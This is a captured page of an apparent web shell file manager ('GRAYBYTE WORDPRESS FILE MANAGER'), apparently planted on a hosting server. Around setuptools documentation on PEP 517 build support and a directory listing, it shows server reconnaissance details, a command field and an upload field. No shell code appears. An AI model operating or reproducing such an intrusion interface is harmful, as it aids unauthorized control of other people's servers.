GRAYBYTE WORDPRESS FILE MANAGER5209

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/python38/share/doc/alt-python38-setuptools/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/python38/share/doc/alt-python38-setuptools//build_meta.rst
=======================================
Build System Support
=======================================

What is it?
-------------

Python packaging has come `a long way <https://bernat.tech/posts/pep-517-518/>`_.

The traditional ``setuptools`` way of packaging Python modules
uses a ``setup()`` function within the ``setup.py`` script. Commands such as
``python setup.py bdist`` or ``python setup.py bdist_wheel`` generate a 
distribution bundle and ``python setup.py install`` installs the distribution. 
This interface makes it difficult to choose other packaging tools without an 
overhaul. Because ``setup.py`` scripts allowed for arbitrary execution, it
proved difficult to provide a reliable user experience across environments
and history.

`PEP 517 <https://www.python.org/dev/peps/pep-0517/>`_ therefore came to
rescue and specified a new standard to 
package and distribute Python modules. Under PEP 517:

    a ``pyproject.toml`` file is used to specify what program to use
    for generating distribution. 

    Then, two functions provided by the program, ``build_wheel(directory: str)`` 
    and ``build_sdist(directory: str)`` create the distribution bundle at the 
    specified ``directory``. The program is free to use its own configuration 
    script or extend the ``.toml`` file. 

    Lastly, ``pip install *.whl`` or ``pip install *.tar.gz`` does the actual
    installation. If ``*.whl`` is available, ``pip`` will go ahead and copy
    the files into ``site-packages`` directory. If not, ``pip`` will look at
    ``pyproject.toml`` and decide what program to use to 'build from source' 
    (the default is ``setuptools``)

With this standard, switching between packaging tools becomes a lot easier. ``build_meta``
implements ``setuptools``' build system support.

How to use it?
--------------

Starting with a package that you want to distribute. You will need your source
scripts, a ``pyproject.toml`` file and a ``setup.cfg`` file::

    ~/meowpkg/
        pyproject.toml
        setup.cfg
        meowpkg/__init__.py

The pyproject.toml file is required to specify the build system (i.e. what is 
being used to package your scripts and install from source). To use it with 
setuptools, the content would be::

    [build-system]
    requires = ["setuptools", "wheel"]
    build-backend = "setuptools.build_meta"

The ``setuptools`` package implements the ``build_sdist``
command and the ``wheel`` package implements the ``build_wheel``
command; both are required to be compliant with PEP 517.

Use ``setuptools``' :ref:`declarative config <declarative config>` to
specify the package information::

    [metadata]
    name = meowpkg
    version = 0.0.1
    description = a package that meows
    
    [options]
    packages = find:

Now generate the distribution. To build the package, use
`PyPA build <https://pypa-build.readthedocs.io/en/latest/>`_::

    $ pip install -q build
    $ python -m build

And now it's done! The ``.whl`` file  and ``.tar.gz`` can then be distributed 
and installed::

    dist/
        meowpkg-0.0.1.whl
        meowpkg-0.0.1.tar.gz

    $ pip install dist/meowpkg-0.0.1.whl

or::

    $ pip install dist/meowpkg-0.0.1.tar.gz

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 05 2024 23:48:13
root / root
0755
deprecated
--
March 03 2024 22:48:31
root / linksafe
0755
development
--
March 03 2024 22:48:31
root / linksafe
0755
references
--
March 03 2024 22:48:31
root / linksafe
0755
userguide
--
March 03 2024 22:48:31
root / linksafe
0755
CHANGES.rst
171.824 KB
October 22 2021 20:55:51
root / linksafe
0644
README.rst
2.353 KB
October 22 2021 20:55:51
root / linksafe
0644
build_meta.rst
3.112 KB
October 22 2021 20:55:51
root / linksafe
0644
conf.py
5.578 KB
October 22 2021 20:55:51
root / linksafe
0644
history.rst
1.859 KB
October 22 2021 20:55:51
root / linksafe
0644
index.rst
0.45 KB
October 22 2021 20:55:51
root / linksafe
0644
pkg_resources.rst
92.109 KB
October 22 2021 20:55:51
root / linksafe
0644
python 2 sunset.rst
3.455 KB
October 22 2021 20:55:51
root / root
0644
roadmap.rst
0.157 KB
October 22 2021 20:55:51
root / linksafe
0644
setuptools.rst
6.205 KB
October 22 2021 20:55:51
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF